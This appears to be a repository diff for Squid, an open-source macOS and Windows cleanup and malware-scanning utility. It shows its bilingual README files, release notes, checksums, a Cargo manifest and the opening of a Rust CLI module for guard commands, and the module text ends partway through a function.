| Permissions (Windows) | Registry Run keys, startup folders and scheduled tasks, shell context-menu handlers, popup-window rules and a background watcher |
| Desktop widget | A borderless board pinned from Real-time monitor, with CPU / memory / GPU rings, network and disk curves, and storage bars; all settings open from the top of the widget |
| History and undo | Every real deletion is recorded in a local ledger; items still in Trash or the Recycle Bin can be restored |
| System updates | Checks, verifies, downloads, and installs new versions from the release channel |
Language settings offer only Simplified Chinese and English, with the current system language selected by default. A manual choice is saved as the interface language for this computer.
## Desktop app
### Sidebar
- **Maintenance**: Overview, Daily cleanup, Uninstall apps, Deep Clean, Permissions (Windows only)
- **Protection**: Security, Startup items
- **Insights**: Storage, Real-time monitor
- **Bottom**: History, Settings
Use `⌘1`–`⌘8` on macOS or `Ctrl+1`–`Ctrl+9` on Windows to switch pages, in the
sidebar order. Windows maps `1`–`9` to Overview, Daily cleanup, Uninstall apps,
Deep Clean, Permissions, Storage, Real-time monitor, Security and Startup items.
macOS hides the Windows-only Permissions screen, so the later pages shift up by
one.
### Menu bar / tray
Closing the main window only hides it; Squid keeps running. The tray menu offers:
- Open Squid
- Protection status (a read-only status line)
- Scan for malware
- Manage startup items
- Daily cleanup
- Uninstall apps
- Deep Clean
- Show / hide desktop widget
- Quit Squid
The tray mark is transparent and monochrome: macOS receives it as a template
image, so the system tints it correctly for light and dark menu bars; Windows and
Linux show the same silhouette in gray.
The tray follows the active interface language. Reopening the app, double-clicking the app icon, or triggering the single-instance handler restores and focuses the main window. Only **Quit Squid** ends the process.
### Desktop widget
The desktop widget is switched on from Real-time monitor. It is a separate
borderless Tauri window, not a WidgetKit extension. It shares the Real-time
monitor sampler, refreshes at 2 / 5 / 10 seconds, and pauses while hidden.
- Every setting lives in the widget: click the gear at its top to open panel
switches, refresh rate, dock corner, fold memory and opacity.
- Up to four cards: status (CPU, memory and GPU when the OS exposes it), network,
disk I/O and storage volumes.
- On macOS it uses `BelowNormal` window level, appears on every Space, and is
non-focusable with `accept_first_mouse`, so it stays beside the desktop without
taking keyboard focus from the current app.
- On Windows it sits on the desktop layer through
`SetWindowPos(HWND_BOTTOM, SWP_NOACTIVATE)`.
- The master switch is shared with the tray item; opacity is capped at 90–100%
and settings persist in `widget.json`.
### Software updates
- The system information panel always shows the current OS version, architecture, and Squid version.
- Version changes, release notes, and actions appear only when a newer version exists; there is no duplicate "up to date" message.
- After a verified download, install and restart, or use the neutral outlined **Discard** button that matches Shift to remove the downloaded file.
- Automatic checks are enabled by default and run at most once per day.
- Installers must match the manifest's size and SHA256. Builds with a release public key also verify the manifest's Ed25519 signature.
### Permissions and privacy
- On first launch, Squid shows a security-readiness card once: system protection, scan
access, notifications, launch at login and rule updates. Every item is optional, no
permission is requested that you did not ask for, and closing the card changes nothing.
- Full Disk Access stays optional. Without it, protected folders are skipped and the
Security page reports the coverage as limited rather than clean.
- **Settings → System permissions** provides a status check and a shortcut to **System Settings → Privacy & Security → Full Disk Access**.
- Without Full Disk Access, TCC-protected locations are skipped and every other feature remains available.
- Storage analysis and Deep Clean read only user-selected or configured folders; file contents are never uploaded.
- The app makes no network requests other than update checks, installer downloads and
rule-pack downloads. **Nothing is ever uploaded**: no file name, hash, finding or
quarantined file leaves the machine.
- Security scanning does not install a daemon, kernel extension or privileged helper.
XProtect and Defender stay the real-time protection; Squid reads their state, never
turns them off, and never calls `xprotect update` on your behalf.
### Launch at login
**Settings → Startup** includes a launch-at-login switch. When enabled, Squid starts automatically after the current user signs in and keeps its tray entry available. The setting is user-level and requires no administrator access.
See [`docs/DESKTOP.md`](docs/DESKTOP.md) for details.
## Quick start
### Desktop development
Requirements:
- Node.js 20+ and pnpm
- Stable Rust
- macOS: Xcode Command Line Tools
- Windows: MSVC Build Tools and WebView2 Runtime
```bash
pnpm install
pnpm desktop:dev
```
A plain Vite page cannot call Tauri commands. Use `pnpm desktop:dev` when testing scans, deletion, system data, or updates.
### CLI / TUI
```bash
cargo install --path crates/squid-cli
# or
cargo build --release -p squid-cli
squid state # TUI
squid status # system snapshot
squid clean --dry-run # preview cleanable items
squid uninstall --list # installed apps
squid purge ~/code # project build artefacts
squid analyze ~/Library/Caches # storage analysis
squid history # deletion ledger
squid undo # restore the latest Trash session
```
Common commands:
| Command | Purpose |
| --- | --- |
| `clean` | Clean caches, logs, browser and developer junk, crash reports, and Trash by rule |
| `uninstall [NAME]` | Locate an app and build an app-plus-leftovers uninstall plan |
| `purge [PATHS…]` | Remove project build folders, disk images, installers, and stale downloads |
| `state` | Open the TUI with cleanup, uninstall, deep clean, storage, system, and history panels |
| `status` | Print a CPU, memory, network, disk, battery, and process snapshot |
| `analyze [PATH]` | Print a directory-size tree and the largest files |
| `history` / `undo [ID]` | Review history or restore a Trash session |
| `whitelist add\|list\|remove` | Maintain protected paths that are never selected |
| `rules` | List active rules |
| `doctor` | Check permissions, configuration, history, and effective paths |
| `guard status` | Report XProtect or Defender state, rule-pack version, startup counts and quarantine size |
| `guard scan [PATHS…]` | Scan for malware. No paths uses the quick range; `--full`, `--json`, `-y` to auto-quarantine confirmed |
| `guard startup` | List login/startup entries; `--all` includes the operating system's own, `--risky` filters |
| `guard quarantine <ID>` / `restore <ID>` | Act on a finding id a scan printed, or put a quarantined file back |
| `guard held` | List what the quarantine holds, and why |
Every delete command supports `--dry-run`; non-interactive environments require `-y/--yes`. Run `squid <command> --help` for complete options.
## Architecture
```text
crates/
├── squid-core models, paths, safety policy, settings, deletion ledger, progress, cancellation
├── squid-platform macOS / Linux / Windows adapters: apps, leftovers, volumes, Trash, processes
├── squid-rules TOML rule engine: expansion, anchors, protection, age, and risk flags
├── squid-stats sysinfo sampling, trends, battery, network, and disk activity
├── squid-guard malware scanning, YARA and hash rules, startup trust, reversible quarantine
├── squid-engine clean / uninstall / purge / analyze and the single deletion path
├── squid-tui ratatui terminal interface
└── squid-cli clap command-line entry point
src/ React desktop interface
src-tauri/ Tauri shell, commands, tray, permission checks, and updater
scripts/ development, verification, and dual-platform release scripts
docs/ architecture, design, desktop, and release specifications
```
`src-tauri` is separate from the root Cargo workspace, but depends directly on `squid-core`, `squid-platform`, `squid-guard`, `squid-stats`, and `squid-engine`. The desktop app does not maintain a second cleanup implementation.
See [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md) for architecture details and [`docs/DESIGN.md`](docs/DESIGN.md) for the shared Nex color, typography, component, and language rules.
## Safety model
1. **Index-based deletion**: the desktop UI can only submit indexes from a scan, never arbitrary paths.
2. **Revalidation before execution**: the Rust layer rebuilds each item and rechecks ownership, safety anchors, protected locations, the whitelist, and lock state.
3. **Trash by default**: deletion mode defaults to `trash`; files are removed directly only when permanent deletion is explicitly selected.
4. **Hard boundaries**: system roots, `/usr`, `/System`, `/Applications`, and similar locations cannot be recursively deleted. Symlinks are never followed.
5. **Rule brakes**: rules support `protect`, `min_age_days`, `skip_if_running`, and `risky`.
6. **Ledger and undo**: real deletions are recorded in a local JSON ledger; files still in Trash can be restored.
7. **Process protection**: the process is sampled again before termination; Squid itself, PID 1, and critical system processes are refused.
The GUI and CLI use the same `squid-engine::delete` path, so behavior, locks, and audit results stay consistent.
## Data and configuration
| Purpose | macOS | Windows |
| --- | --- | --- |
| Configuration and rules | `~/Library/Application Support/squid/` | `%APPDATA%\squid\` |
| History ledger | `~/Library/Application Support/squid/history/` | `%APPDATA%\squid\history\` |
| Delete destination | `~/.Trash` or permanent deletion | Recycle Bin or permanent deletion |
Linux uses XDG directories. The desktop app and CLI/TUI share configuration and history, so a cleanup from either surface is visible in the other.
Common configuration:
```toml
delete_mode = "trash"
history_keep = 60
purge_min_age_days = 7
purge_max_entries = 200000
show_allocated = true
# Empty or omitted means "follow system"; set "en" or "zh" to override
language = ""
whitelist = ["~/Library/Caches/ImportantApp"]
disabled_rules = ["user-trash"]
purge_roots = ["~/code", "~/Projects", "~/Desktop"]
```
Main environment variables:
| Variable | Purpose |
| --- | --- |
| `SQUID_CONFIG_DIR` | Override the configuration directory |
| `SQUID_STATE_DIR` | Override the state and history directory |
| `SQUID_LANG` | Force the CLI/TUI language to `zh` or `en` |
| `SQUID_UPDATE_URL` | Override the desktop update manifest URL for staging |
| `SQUID_TRUECOLOR` / `NO_COLOR` | Control TUI color |
| `SQUID_SYMBOL_CELLS` / `SQUID_CONSOLE_TRACE` | Diagnose Windows console character width and layout |
`SQUID_LANG` is a CLI override. The desktop app's default language comes from the system and can be changed in the app.
## Development and verification
Frontend:
```bash
pnpm check
pnpm build
```
Rust workspace:
```bash
cargo fmt --all -- --check
cargo clippy --workspace --all-targets -- -D warnings
cargo test --workspace --no-fail-fast
```
Tauri:
```bash
cargo fmt --manifest-path src-tauri/Cargo.toml -- --check
cargo clippy --manifest-path src-tauri/Cargo.toml --all-targets -- -D warnings
cargo test --manifest-path src-tauri/Cargo.toml --lib
```
The TUI uses a real-pty smoke test; Windows consoles also have a capture, replay, and frame-check test:
```bash
python3 -m pip install --user pyte
python3 scripts/tui_smoke.py
python3 scripts/tui-frame-check.py --selftest
```
CI runs workspace tests, an MSVC target cross-check, the desktop frontend build, and the Tauri Rust check.
## Build and release
Keep the version identical in all four places:
- `Cargo.toml` workspace version
- `src-tauri/Cargo.toml`
- `src-tauri/tauri.conf.json`
- `package.json`
Build installers:
```bash
scripts/build-macos-release.sh
scripts/build-windows-release.sh
```
Artifacts:
```text
artifacts/Squid-<version>-macOS-universal.dmg
artifacts/Squid-Setup-<version>-win-x64.exe
artifacts/SHA256SUMS.txt
```
Publish to the update channel:
```bash
scripts/publish-release.sh --notes /path/to/release-notes.md
```
The publish script rebuilds the `releases` branch with `squid-update.json`, both installers, and an optional `squid-update.sig`. The manifest records exact size and SHA256, which the client verifies again after download.
See [`docs/RELEASE.md`](docs/RELEASE.md) for the full release, signing, and manifest process.
## Platform status
| Platform | Status |
| --- | --- |
| macOS | Full desktop and CLI/TUI support; universal DMG |
| Windows x64 | Desktop and CLI/TUI support; NSIS installer |
| Linux | Platform layer and basic CLI/TUI support; built-in rules and desktop installers are not yet provided |
## License
Squid is licensed under **GNU General Public License v3.0 only** (`GPL-3.0-only`). See [`LICENSE`](LICENSE).

View File

@ -1,53 +0,0 @@
# Squid
**给你的电脑洗个澡。** · **Give your computer a bath.**
[简体中文](README.zh-CN.md) · [English](README.en.md)
Squid is a local system-care app for macOS and Windows. It cleans rebuildable caches and system junk, uninstalls apps with their leftovers, removes project build artefacts, maps disk usage, and monitors live system health.
Squid 是面向 macOS 与 Windows 的本地系统维护工具。桌面端、CLI 与 TUI 共用同一套 Rust 扫描和删除引擎,不依赖云端服务,也不需要 root。
## Highlights / 功能
- **Daily cleanup / 日常清理** — 38 macOS rules and 30 Windows rules for caches, logs, crash reports, developer data, and Trash.
- **Uninstall apps / 应用卸载** — One plan for the app and its preferences, caches, containers, or AppData leftovers.
- **Deep Clean / 深度清理** — Rebuildable build output, disk images, installers, and stale downloads with project-age protection.
- **Storage & monitor / 存储与监控** — Folder-level disk analysis, live CPU, memory, network, disk, battery, and process views.
- **Security / 安全** — XProtect and Defender status, malware scanning with confirmed / suspicious / advisory findings, and reversible quarantine. No daemon, no kernel extension, no upload.
- **Startup items / 启动项** — LaunchAgents, LaunchDaemons, login items, registry Run keys, startup folders, scheduled tasks and services; disable the ones you own.
- **Desktop widget / 桌面小工具** — Pin the Real-time monitor to the desktop as a focus-free board, with every setting in a dropdown at the top of the widget.
- **Permissions (Windows) / 权限管理** — Startup entries, shell context menus and popup-window blocking, with a background watcher.
- **History & updates / 历史与更新** — Restorable Trash sessions and a size- and SHA256-verified update channel.
The interface follows the system language by default and can be switched to Simplified Chinese or English in Settings.
界面默认跟随系统语言,可在设置中切换简体中文或 English。
## Start / 开始
```bash
pnpm install
pnpm desktop:dev
```
CLI / TUI:
```bash
cargo install --path crates/squid-cli
squid state
squid clean --dry-run
```
## Documentation / 文档
- [中文完整说明](README.zh-CN.md)
- [Full English guide](README.en.md)
- [Architecture / 架构](docs/ARCHITECTURE.md)
- [Nex design standard / 设计规范](docs/DESIGN.md)
- [Desktop / 桌面端](docs/DESKTOP.md)
- [Release and updates / 发布与更新](docs/RELEASE.md)
## License / 许可证
**GNU General Public License v3.0 only** (`GPL-3.0-only`). See [`LICENSE`](LICENSE).

View File

@ -1,313 +0,0 @@
# Squid
[English](README.en.md) · [返回双语首页](README.md)
**给你的电脑洗个澡。**
Squid 是面向 macOS 与 Windows 的本地系统维护工具:清理可重建的缓存与系统垃圾、卸载应用并处理残留、清理项目构建产物、分析磁盘占用,以及实时查看系统状态。
桌面端、命令行与 TUI 共用同一套 Rust 扫描和删除引擎。清理规则、安全边界、删除账本与配置只维护一份,不依赖云端服务,也不需要 root。
## 产品组成
| 入口 | 技术栈 | 二进制 |
| --- | --- | --- |
| 桌面应用 | Tauri 2 + React 19 + TypeScript + Vite 6 | `squid-desktop` |
| 命令行 | Rust + clap | `squid` |
| 终端界面 | Rust + ratatui + crossterm | `squid state` |
桌面端支持 macOS 12+ 与 Windows 10/11 x64;CLI/TUI 使用同一个 Rust workspace。
## 功能
| 功能 | 说明 |
| --- | --- |
| 概览 | 磁盘健康、常用操作入口与 CPU、内存、存储摘要 |
| 日常清理 | macOS 38 条 / Windows 30 条内置规则,覆盖应用与浏览器缓存、日志、崩溃报告、开发缓存与废纸篓等 |
| 应用卸载 | 按名称定位应用,把应用本体与偏好、缓存、容器或 AppData 残留组成同一个卸载计划 |
| 深度清理 | 查找 `node_modules` 等可重建构建产物、磁盘镜像、安装包和陈旧下载,并保护近期仍在使用的项目 |
| 存储空间 | 逐层测量目录、查看最大子项与最大文件 |
| 实时监控 | 每两秒采样 CPU、内存、网络、磁盘、电池、卷和高占用进程,可确认后结束进程。「进程」页签列出全部进程及其签名与启动项来源 |
| 安全 | 读取 XProtect / Defender 状态,按哈希、YARA 规则与启发式扫描恶意软件,分「已确认 / 可疑 / 提示」三级,并可逆隔离 |
| 启动项 | LaunchAgent、LaunchDaemon、登录项、注册表 Run、启动文件夹、计划任务与服务;当前用户拥有的条目可停用与恢复 |
| 权限管理(Windows) | 注册表 Run、启动文件夹与计划任务,右键菜单扩展,弹窗窗口规则与后台监听 |
| 桌面小工具 | 在实时监控中一键固定到桌面的无边框看板:CPU / 内存 / GPU 圆环、网络与磁盘曲线、存储空间;设置从小工具顶部下拉打开 |
| 历史与撤销 | 每次真实删除写入本地账本;仍在废纸篓或回收站中的内容可以还原 |
| 系统更新 | 从发布分支检查、校验、下载并安装新版本 |
语言设置只提供简体中文与 English 两项,首次使用时默认选中当前系统语言。手动选择会保存为该电脑上的界面语言。
## 桌面应用
### 左侧菜单
- **维护**:概览、日常清理、应用卸载、深度清理、权限管理(仅 Windows)
- **保护**:安全、启动项
- **洞察**:存储空间、实时监控
- **底部**:历史记录、设置
`⌘1`–`⌘8`(macOS)或 `Ctrl+1`–`Ctrl+9`(Windows)按上面的侧栏顺序切换页面。
Windows 上 `1`–`9` 依次是概览、日常清理、应用卸载、深度清理、权限管理、存储空间、实时监控、安全、启动项;macOS 隐藏 Windows 专属的权限管理,后续页面顺延。
### 常驻托盘
关闭主窗口只会隐藏窗口,Squid 进程继续运行。托盘菜单提供:
- 打开 Squid
- 保护状态(只读状态行)
- 扫描恶意软件
- 管理启动项
- 日常清理
- 应用卸载
- 深度清理
- 显示/隐藏桌面小工具
- 退出 Squid
托盘图标是透明单色素材:macOS 使用模板图标,由系统按浅色/深色菜单栏自动着色;Windows 与 Linux 显示同一轮廓的灰色图标。
托盘菜单跟随当前界面语言。再次打开应用、双击应用图标或通过单实例唤起时,会恢复并聚焦主窗口。只有选择“退出 Squid”才会结束进程。
### 桌面小工具
桌面小工具由“实时监控”页面统一开关,是一个独立的无边框 Tauri 窗口,不是 WidgetKit 扩展。它复用实时监控的采样器,按 2 / 5 / 10 秒节奏刷新,隐藏时暂停采样。
- 设置全部位于小工具本身:点击顶部齿轮即可下拉打开面板、更新频率、边角停靠、折叠记忆与面板开关。
- 最多四张卡片:运行状态(CPU、内存、系统暴露的 GPU 占用)、网络、存储读写、存储空间。
- macOS 上使用 `BelowNormal` 窗口层级、出现在所有 Space,并设置为不可获得焦点且接受首次点击,因此贴着桌面显示、不会抢走当前应用的键盘焦点。
- Windows 上通过 `SetWindowPos(HWND_BOTTOM, SWP_NOACTIVATE)` 停在桌面层。
- 总开关与托盘菜单同步;不透明度限制在 90–100%,配置保存在 `widget.json`。
### 软件更新
- 设置中的系统信息面板始终显示当前系统版本、架构与 Squid 版本。
- 只有检测到更高版本时,才显示版本变化、更新说明和操作按钮;已经是最新版本时不显示额外提示。
- 下载完成后可安装并重启,或用与 Shift 一致的中性描边“放弃”按钮清除已下载文件。
- 自动检查默认开启,每天最多检查一次。
- 安装包必须通过 SHA256 与文件大小校验;带发布公钥的构建还会校验清单的 Ed25519 签名。
### 权限与隐私
- 首次启动会显示一次可选的全盘访问检查,不会强制弹出 macOS 权限窗口,也不会阻止应用启动。
- “设置 → 系统权限”提供权限状态检查和打开“系统设置 → 隐私与安全性 → 全盘访问”的入口。
- 没有全盘访问时,受 TCC 保护的位置会被跳过,其余功能仍然可用;安全页会把覆盖范围标为「受限」,不会显示成干净。
- 存储分析与深度清理只在用户选择或配置目录后读取;文件内容不会上传。
- 除更新检查、安装包下载与规则包下载外,应用不发起网络请求。**任何内容都不会上传**:
文件名、哈希、扫描结果与被隔离的文件都不会离开这台电脑。
- 安全扫描不安装 daemon、内核扩展或特权 helper。实时防护仍由 XProtect / Defender 承担,
Squid 只读取它们的状态,不会替你关闭,也不会替你调用 `xprotect update`。
### 开机自启
“设置 → 启动”提供开机自启开关。启用后 Squid 会在当前用户登录时自动启动并保留托盘入口;该设置只写入当前用户级启动项,不需要管理员权限。
完整说明见 [`docs/DESKTOP.md`](docs/DESKTOP.md)。
## 快速开始
### 桌面端开发
环境要求:
- Node.js 20+ 与 pnpm
- Rust stable
- macOS:Xcode Command Line Tools
- Windows:MSVC Build Tools 与 WebView2 Runtime
```bash
pnpm install
pnpm desktop:dev
```
仅运行 Vite 页面时无法调用 Tauri 命令;需要验证扫描、删除、系统数据或更新流程时请使用 `pnpm desktop:dev`。
### CLI / TUI
```bash
cargo install --path crates/squid-cli
# 或
cargo build --release -p squid-cli
squid state # TUI
squid status # 系统快照
squid clean --dry-run # 预览可清理内容
squid uninstall --list # 已安装应用
squid purge ~/code # 深度清理项目构建产物
squid analyze ~/Library/Caches # 存储分析
squid history # 历史账本
squid undo # 还原最近一次废纸篓会话
```
常用命令:
| 命令 | 作用 |
| --- | --- |
| `clean` | 按规则清理缓存、日志、浏览器与开发者垃圾、崩溃报告和废纸篓 |
| `uninstall [NAME]` | 定位应用并生成“本体 + 残留”卸载计划 |
| `purge [PATHS…]` | 清理项目构建目录、磁盘镜像、安装包与陈旧下载 |
| `state` | 打开包含清理、卸载、深度清理、存储、系统和历史面板的 TUI |
| `status` | 输出 CPU、内存、网络、磁盘、电池与进程快照 |
| `analyze [PATH]` | 输出目录体积树与最大文件 |
| `history` / `undo [ID]` | 查看历史或还原废纸篓会话 |
| `whitelist add\|list\|remove` | 维护永不选中的保护路径 |
| `rules` | 列出当前生效的规则 |
| `doctor` | 检查权限、配置、历史文件和生效路径 |
| `guard status` | 报告 XProtect / Defender 状态、规则包版本、启动项数量与隔离区占用 |
| `guard scan [PATHS…]` | 扫描恶意软件。不给路径即快速范围;`--full`、`--json`、`-y` 自动隔离已确认项 |
| `guard startup` | 列出登录/启动条目;`--all` 含系统自带,`--risky` 只看需注意的 |
| `guard quarantine <ID>` / `restore <ID>` | 对扫描输出的发现 id 执行隔离或恢复 |
| `guard held` | 列出隔离区里有什么、以及当初为什么进来 |
所有删除命令都支持 `--dry-run`;非交互环境必须使用 `-y/--yes`。完整参数请运行 `squid <command> --help`。
## 架构
```text
crates/
├── squid-core 模型、路径、安全策略、设置、删除账本、进度与取消
├── squid-platform macOS / Linux / Windows 平台适配:应用、残留、卷、回收站、进程
├── squid-rules TOML 规则引擎:模式展开、锚点、保护、年龄与风险标记
├── squid-stats sysinfo 采样、趋势、电池、网络与磁盘活动
├── squid-engine clean / uninstall / purge / analyze 与唯一删除通道
├── squid-tui ratatui 终端界面
└── squid-cli clap 命令行入口
src/ React 桌面界面
src-tauri/ Tauri 壳、命令适配、托盘、权限检查与更新器
scripts/ 开发、验证与双平台发布脚本
docs/ 架构、设计、桌面与发布规范
```
`src-tauri` 独立于根 Cargo workspace,但直接依赖 `squid-core`、`squid-platform`、`squid-stats` 与 `squid-engine`,桌面端不维护第二套清理实现。
更多设计见 [`docs/ARCHITECTURE.md`](docs/ARCHITECTURE.md);Nex 系列统一颜色、字体、组件和语言规范见 [`docs/DESIGN.md`](docs/DESIGN.md)。
## 安全模型
1. **索引式删除**:桌面界面只能提交扫描结果中的索引,不能提交任意待删除路径。
2. **执行前复验**:Rust 层重新构造扫描条目,并检查路径所有权、安全锚点、保护列表、白名单与锁定状态。
3. **默认进废纸篓**:删除模式默认是 `trash`;只有显式选择永久删除才直接移除。
4. **硬性禁区**:系统根目录、`/usr`、`/System`、`/Applications` 等位置不能被递归删除;符号链接不会被跟随。
5. **规则刹车**:规则支持 `protect`、`min_age_days`、`skip_if_running` 与 `risky` 标记。
6. **账本与撤销**:真实删除记录到本地 JSON 账本,仍在废纸篓中的文件可以还原。
7. **进程保护**:结束进程前重新采样并核对名称,拒绝 Squid 自身、系统首进程和关键系统进程。
GUI 和 CLI 使用同一个 `squid-engine::delete` 通道,因此行为、锁定和审计结果一致。
## 数据与配置
| 用途 | macOS | Windows |
| --- | --- | --- |
| 配置与规则 | `~/Library/Application Support/squid/` | `%APPDATA%\squid\` |
| 历史账本 | `~/Library/Application Support/squid/history/` | `%APPDATA%\squid\history\` |
| 删除去向 | `~/.Trash` 或永久删除 | 回收站或永久删除 |
Linux 使用 XDG 目录。桌面端与 CLI/TUI 共用配置和历史,因此任一端产生的清理记录都能在另一端查看。
常用配置:
```toml
delete_mode = "trash"
history_keep = 60
purge_min_age_days = 7
purge_max_entries = 200000
show_allocated = true
# language 留空或删除表示跟随系统;也可手动设为 "en" 或 "zh"
language = ""
whitelist = ["~/Library/Caches/ImportantApp"]
disabled_rules = ["user-trash"]
purge_roots = ["~/code", "~/Projects", "~/Desktop"]
```
主要环境变量:
| 变量 | 作用 |
| --- | --- |
| `SQUID_CONFIG_DIR` | 覆盖配置目录 |
| `SQUID_STATE_DIR` | 覆盖状态与历史目录 |
| `SQUID_LANG` | 强制 CLI/TUI 使用 `zh` 或 `en` |
| `SQUID_UPDATE_URL` | 覆盖桌面端更新清单地址,适合测试发布通道 |
| `SQUID_TRUECOLOR` / `NO_COLOR` | 控制 TUI 颜色 |
| `SQUID_SYMBOL_CELLS` / `SQUID_CONSOLE_TRACE` | 排查 Windows 控制台字符宽度与排版 |
`SQUID_LANG` 是命令行覆盖项;桌面界面的默认语言来自系统设置,并可在应用内修改。
## 开发与验证
前端:
```bash
pnpm check
pnpm build
```
Rust workspace:
```bash
cargo fmt --all -- --check
cargo clippy --workspace --all-targets -- -D warnings
cargo test --workspace --no-fail-fast
```
Tauri:
```bash
cargo fmt --manifest-path src-tauri/Cargo.toml -- --check
cargo clippy --manifest-path src-tauri/Cargo.toml --all-targets -- -D warnings
cargo test --manifest-path src-tauri/Cargo.toml --lib
```
TUI 使用真实 pty 冒烟测试;Windows 控制台另有“抓帧、复放、量框”验证:
```bash
python3 -m pip install --user pyte
python3 scripts/tui_smoke.py
python3 scripts/tui-frame-check.py --selftest
```
CI 同时执行 workspace 测试、MSVC 目标交叉检查、桌面前端构建和 Tauri Rust 检查。
## 打包与发布
版本必须同时写入以下四处:
- `Cargo.toml` workspace 版本
- `src-tauri/Cargo.toml`
- `src-tauri/tauri.conf.json`
- `package.json`
构建安装包:
```bash
scripts/build-macos-release.sh
scripts/build-windows-release.sh
```
产物:
```text
artifacts/Squid-<version>-macOS-universal.dmg
artifacts/Squid-Setup-<version>-win-x64.exe
artifacts/SHA256SUMS.txt
```
发布到更新通道:
```bash
scripts/publish-release.sh --notes /path/to/release-notes.md
```
发布脚本会重建 `releases` 分支,写入 `squid-update.json`、两个安装包和可选的 `squid-update.sig`。清单包含精确大小与 SHA256,客户端下载后再次校验。
完整发布流程、签名和清单格式见 [`docs/RELEASE.md`](docs/RELEASE.md)。
## 平台状态
| 平台 | 状态 |
| --- | --- |
| macOS | 桌面端与 CLI/TUI 完整支持,发布通用 DMG |
| Windows x64 | 桌面端与 CLI/TUI 支持,发布 NSIS 安装包 |
| Linux | 平台层与 CLI/TUI 基础实现;尚未提供内置 Linux 规则和桌面安装包 |
## 许可证
Squid 使用 **GNU General Public License v3.0 only**(`GPL-3.0-only`)。完整条款见 [`LICENSE`](LICENSE)。

8
RELEASE_NOTES.md 100644
View File

@ -0,0 +1,8 @@
Squid 0.1.10
- 重做应用图标:改用与 nex_shift 一致的扁平双色设计,橙色圆角底 + 奶油色鱿鱼,去掉渐变与投影。
- 重绘菜单栏单色图标,采用同一鱿鱼轮廓;侧边栏与“关于”页改用满版图标,不再出现白色底板。
- 设置页改为“常规 / 清理 / 安全 / 更新 / 关于”五个分区,单页内容更短,常用项更集中。
- 移除各页面大标题末尾的句号,标题更简洁。
macOS 与 Windows 安装包均为未签名构建。macOS 首次打开请在访达中右键选择“打开”;Windows SmartScreen 提示时选择“更多信息” > “仍要运行”。

3
SHA256SUMS.txt 100644
View File

@ -0,0 +1,3 @@
e12d4663fb3e98c615b9696d7a58997dda3a5e5caffaafdf3785e0f85451cc92 Squid-0.1.10-macOS-universal.dmg
1c13835da6ee1dfd695ef96ae467308af9b0c74e72cf4e023bd381e974cc939a Squid-Setup-0.1.10-win-x64.exe
26865efb3d54c2ca46007dfe979949a16e647faa45aecb47d4a17c39e7a32c4d README-Windows-x64.txt

View File

@ -1,29 +0,0 @@
[package]
name = "squid-cli"
version.workspace = true
edition.workspace = true
rust-version.workspace = true
license.workspace = true
description = "squid — clean, uninstall, purge and monitor your machine"
default-run = "squid"
[[bin]]
name = "squid"
path = "src/main.rs"
[dependencies]
squid-core.workspace = true
squid-engine.workspace = true
squid-platform.workspace = true
squid-rules.workspace = true
squid-stats.workspace = true
squid-guard.workspace = true
squid-tui.workspace = true
anyhow.workspace = true
clap.workspace = true
serde.workspace = true
serde_json.workspace = true
chrono.workspace = true
crossterm.workspace = true
unicode-width.workspace = true

View File

@ -1,638 +0,0 @@
//! `squid guard` — the security half of the command line.
//!
//! Three verbs carry the roadmap's CLI contract: `status` says what protects
//! this machine and what squid can see, `scan` finds things, `quarantine` acts on
//! a finding. The rest (`startup`, `held`, `restore`, `unignore`) exists because
//! a person reading a finding in a terminal needs the same follow-up the desktop
//! app offers, and it is all the same code underneath.
//!
//! The one asymmetry worth stating: `quarantine` takes a finding id, not a path.
//! A finding records the hash and size the scan saw, and the quarantine refuses
//! a file that has changed since. Taking a path from the command line would throw
//! that away, so the CLI re-runs the scan to find the id again instead.
use crate::{bullet, clip, heading, human_stream_is_tty, live, paint, shout, shrink};
use anyhow::Result;
use clap::{Args, Subcommand};
use squid_core::progress::{CancelToken, Event, Progress};
use squid_core::{paths, Bytes, Settings};
use squid_guard::quarantine::Quarantine;
use squid_guard::scan::{Guard, ScanTarget};
use squid_guard::Confidence;
use std::sync::atomic::{AtomicBool, Ordering};
use std::sync::Arc;
use std::time::Duration;
#[derive(Args, Debug)]
pub struct GuardArgs {
#[command(subcommand)]
pub action: GuardAction,
}
#[derive(Subcommand, Debug)]
pub enum GuardAction {
/// What protects this machine right now, and what squid can see
Status {
#[arg(long)]
json: bool,
},
/// Scan for malware. With no paths, the quick-scan range is used.
Scan(ScanArgs),
/// What starts when this machine logs in
Startup(StartupArgs),
/// Move one finding into the quarantine, by the id a scan printed
Quarantine { id: String },
/// Put a quarantined file back where it came from
Restore { id: String },
/// What squid is holding, and why
Held {
#[arg(long)]
json: bool,
},
/// Stop ignoring a finding so future scans report it again
Unignore { fingerprint: String },
}
#[derive(Args, Debug)]
pub struct ScanArgs {
/// Paths to scan instead of the quick-scan range
paths: Vec<String>,
/// Also walk the folders a payload rarely lives in
#[arg(long)]
full: bool,
/// Machine-readable output with every finding and its evidence
#[arg(long)]
json: bool,
/// Quarantine confirmed findings without asking
#[arg(long, short = 'y')]
yes: bool,
}
#[derive(Args, Debug)]
pub struct StartupArgs {
/// Include the entries the operating system owns
#[arg(long)]
all: bool,
/// Only the entries that deserve a second look
#[arg(long)]
risky: bool,
#[arg(long)]
json: bool,
}
pub fn run(args: GuardArgs, json: bool) -> Result<i32> {
match args.action {
GuardAction::Status { json: as_json } => status(as_json || json),
GuardAction::Scan(args) => scan(args, json),
GuardAction::Startup(args) => startup(args),
GuardAction::Quarantine { id } => quarantine(&id),
GuardAction::Restore { id } => restore(&id),
GuardAction::Held { json: as_json } => held(as_json || json),
GuardAction::Unignore { fingerprint } => unignore(&fingerprint),
}
}
/// A guard with the user's exclusions applied. Built once per command so what
/// `status` reports and what `scan` uses cannot disagree.
fn context() -> Guard {
let (settings, errors) = Settings::load();
for error in errors {
shout("33", &format!("config: {error}"));
}
Guard::new(settings.security.exclusion_paths())
}
fn status(as_json: bool) -> Result<i32> {
let protection = squid_platform::protection::status();
let intel = squid_guard::intel::status();
let startup = squid_platform::startup::inventory();
let mut held = Quarantine::new();
let held_items = held.entries().len();
let held_size = held.total_size();
if as_json {
println!(
"{}",
serde_json::to_string_pretty(&serde_json::json!({
"protection": protection,
"rules": intel,
"startup": {
"total": startup.items.len(),
"user": startup.user_count(),
"system": startup.system_count(),
"disabled": startup.disabled_count(),
"notes": startup.notes,
},
"quarantine": { "items": held_items, "size": held_size },
}))?
);
return Ok(0);
}
heading("Protection");
let state = match protection.is_healthy() {
Some(true) => paint("32", "active"),
